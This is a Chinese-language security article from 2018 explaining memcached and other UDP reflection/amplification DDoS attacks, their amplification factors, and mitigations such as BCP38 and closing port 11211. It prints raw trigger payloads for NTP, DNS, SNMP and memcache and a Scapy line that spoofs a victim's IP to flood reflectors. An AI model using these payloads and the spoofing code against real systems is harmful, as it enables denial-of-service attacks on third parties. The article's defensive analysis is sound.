您的位置:首页 > 技术中心 > 正文

DDoS攻防之反射放大攻击(memcache案例)

发表时间:2018-3-15 7:35:23 作者: 来源:

攻击者通过伪造原IP欺骗的方式连接特定的UDP Server对目标端进行攻击。

攻击UDP协议需要具备一定放大作用

· memcache  60000x

· NTP 556x

· DNS 54x

· SSDP 30x

· SNMP 15x

协议本身存在漏洞

ntp

· '\x17\x00\x02\x2a'+'\x00'*4

· dns

· {}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01

· {}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00

· \x00\x00\x00\x00\x00\x00

snmp

· \x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c

· \x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01

· \x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06

· \x01\x02\x01\x05\x00

memcache

· \x00\x00\x00\x00\x00\x01\x00\x00stats\r\n

0x01、攻击原理

本文就以最新的memcache做案例分析一下其攻击原理

根据3月11日公布的攻击样本

from scapy.all import *
//通过python的scapy库来伪造原始IP和UDP包

data = input("
[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
//攻击向量,其实通过add或者set命令添加完全不会重复的value,然后通过get方式过去,如果增加放大倍数那返回到客户端的数据会达到几万倍

send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
这就是伪造自己的IP为攻击源IP,通过根据Shodan扫描出来的开发UDP11211端口的IP发送数据。

再看看2018-2-27 Memcached 1.5.6更新,其实主要是默认关闭udp 11211

那么以前的版本为什么要开放UDP 11211端口呢?

过去的12年间UDP协议被广泛应用,因为TCP协议开销非常高,在代理或者特殊的客户端允许连接重用的时候,从而降低了开销,而且,RAM值非常大,以至于TCP缓冲区不会像以前那么多。

0x02、全网数据(中国境内)

搞清楚攻击原理后,我们观察一下目前中国境内memcache服务器开放情况

备注,可以提供IP列表。

0x03、如何防范

运营商端:

BCP38 防止源IP伪造策略,是在各个ASN域上设置ACL控制策略防止源地址伪造,这个文档存在十多年了,但是运营商到现在也没实现,那证明这个思路可操作性差。所以,从攻击端防止源IP伪造这个事不现实,当然会有一部分攻击会被拦截。

高防端:

UDP DDoS目前没有什么很好的解决办法(只能基于源和目的IP限速的方法),清洗中心目前针对反射攻击也是在设备上设置UDP11211 block。但是如果反射源攻击总带宽大于防攻击中心的出口带宽,清洗中心只能把高防IP黑洞掉。

攻击成本:

这种UDP放大反射DDoS攻击,攻击成本太低了。

· 寻找反射源:一台云主机2-3天就能扫描到或者使用sandon API等

· 伪造IP溯源困难:都是发送的伪造IP,想找到攻击源太困难。

· 少量肉鸡就可以组织上百G的攻击,防御成本一天最少几万。

业务端:

最困扰的是:很多App游戏等都使用UDP协议。高防端无法完全禁用UDP协议。

最好的办法,还是自查把这种危险端口屏蔽掉。所以各大公有云厂商、IDC等都开始自查,关闭掉11211对外开放端口。

0x04、如何溯源

这个问题,其实在溯源行业已经存在了很多年,遇到反射,好吧只能放弃。

上一篇: Mirai新变种OMG变受控设备为代理 下一篇:没有资料